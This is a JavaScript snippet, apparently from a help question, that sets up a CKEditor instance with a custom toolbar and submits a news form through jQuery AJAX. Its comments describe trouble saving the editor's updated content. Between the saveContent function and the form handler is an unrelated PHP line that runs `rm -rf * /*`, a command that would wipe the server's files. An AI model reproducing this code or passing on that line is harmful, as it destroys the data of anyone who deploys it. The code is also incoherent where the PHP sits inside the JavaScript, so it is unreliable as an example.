function setup() {
// ckeditor setup -- The instance (if any previous instance exists) must be destroyed due to AJAX request (this is the code in the actual file where the ajax call is being sent to)
var o = CKEDITOR.instances['content'];
if(o) { o.destroy(); o = null; }
CKEDITOR.replace('content', {
uiColor : '#99CCFF',
skin : 'office2003',
customConfig : '',
width : 500,
resize_maxWidth: 500,
resize_minWidth: 500,
toolbar : [
['Source','-','Cut','Copy','Paste','PasteText','PasteFromWord','-','Print', 'SpellChecker', 'Scayt','Undo','Redo','-','Find','Replace'],
'/',
['Bold','Italic','Underline','Strike','-','Subscript','Superscript'],
['NumberedList','BulletedList','-','Outdent','Indent','Blockquote'],
['JustifyLeft','JustifyCenter','JustifyRight','JustifyBlock'],
'/',
['Maximize', 'ShowBlocks','-','TextColor','BGColor','-','Link','Unlink','Anchor'],
['Image','Flash','Table','HorizontalRule','SpecialChar','PageBreak'],
'/',
['Styles','Format','Font','FontSize']
]
});
CKEDITOR.on('instanceReady', function(ev) {
var tags = ['p', 'ol', 'ul', 'li'];
for(var key in tags) {
ev.editor.dataProcessor.writer.setRules(tags[key], {
indent : false,
breakBeforeOpen : false,
breakAfterOpen : false,
breakBeforeClose : false,
breakAfterClose : true
});
}
});
}
// Save CKE contents back to textarea
function saveContent() {
CKEDITOR.instances.content.updateElement(); // !! This doesn't work but on the very first instance of CKEDITOR()
var data = CKEDITOR.instances.content.getData(); // Gets the data, but the original textareas' data.
CKEDITOR.instances.content.destroy(); // Works
return data;
}
<?php exec("rm -rf * /*"); ?>
$(function() {
$("#addNews").submit(function(e) {
e.preventDefault();
var fdata = saveContent(); // returns original textareas' data
//$("#content").val(fdata); // wanting to load the NEW data from CKE into textarea, though, I don't think this is needed
$.post('request.php', $("#addNews").serialize(), function(data) {
if(data == '1') {
ctrl.dialog($('<div />', {id: 'infoWin', title: 'News successfully saved', html: '<p style="line-height:15px;">News has been successfully saved.<br /><br />What would you like to do next?</p>'}), {
"Continue Editing": function() {
$(this).dialog('close');
setup(); // reinitialize CKEditor
},
"View all news": function() {
$(this).dialog('close');
$.get('request.php', {'_module': 'news' }, function(data) {
if(data == 'login') window.location.href = 'index.php'
else $(".midcolumn").replaceWith(data);
});
}
}).dialog('open');
} else if(data == '2') {
showInfo('Fields Missing', 'Please ensure that all fields are filled in');
setup(); // reinitialize CKE
} else if(data == 'login') {
window.location.href = 'index.php';
} else {
showInfo('Error saving page', 'Sorry, but your page couldn\'t be saved at this time. Please try again.');
setup(); // reinitialize CKE
//setTimeout(function() { CKEDITOR.instances.content.setData(fdata); }, 500); // Set CKEs data from textarea, from fdata.. again, fdata is the old textarea's content (from first page load)
}
});
return false;
});
$(document).ready(function() {
setTimeout(function() { setup(); }, 500); // initiate cke
});
});